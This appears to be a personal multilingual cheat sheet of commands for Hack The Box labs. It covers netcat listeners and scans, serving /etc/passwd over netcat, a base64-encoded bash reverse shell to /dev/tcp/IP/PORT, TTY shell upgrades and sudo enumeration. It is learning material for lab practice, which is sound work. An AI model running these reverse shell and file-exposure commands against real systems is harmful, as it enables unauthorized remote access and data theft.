HTB – toolbox

 

>nc -nvlp 9999 < /etc/passwd
Run a netcat as listener and put the /etc/passwd as input. Every connection to that machine’s IP on port 9999 could read the /etc/passwd
>echo “” | nc -nvw2 [target IP] [port-range]
Port scanner that harvest banners

>sudo tcpdump -ni tun0 icmp
Useful when listening to a ping from a remote server
>nc -lvnp [PORT]
netcat -l listening mode, -v output details, -n no DNS resolution, -p PORT
>nv -nv 10.130.10.24 25
-n means do not resolve names. -v means verbose. This cmd let netcat connects to 10.130.10.24 on port 25, to check the banner

>echo ‘bash -c “bash -i >& /dev/tcp/IP/PORT 0>&1″‘ | base64
If the -c option is present, then commands are read from string.
If the -i option is present, the shell is interactive
>& /dev/tcp/IP/PORT ➡ コマンドの実行結果(stdout)を/dev/tcp/IP/PORTにコピーする
0>&1 ➡ standard input is attached to standard out. 0 is stdin, 1 is stdout

—–
>python3 -c ‘import pty;pty.spawn(“bash”);’
>^Z
>stty raw -echo ; fg
轉用python的pty來控制bash
—-
>sudo -l -l
確認該user可以用sudo跑的command有哪些.


>script /dev/null -c bash
script /dev/null ➡ “black hold”. Everything written to it disappears forever.
-c bash ➡ run the command bash
>^Z ➡ Ctrl + Z
隱藏連線到Background
>stty raw -echo; fg
>netstat -tnlp
偵查伺服器上的Port

關於作者

Nelley,乃力。
就是一個村民。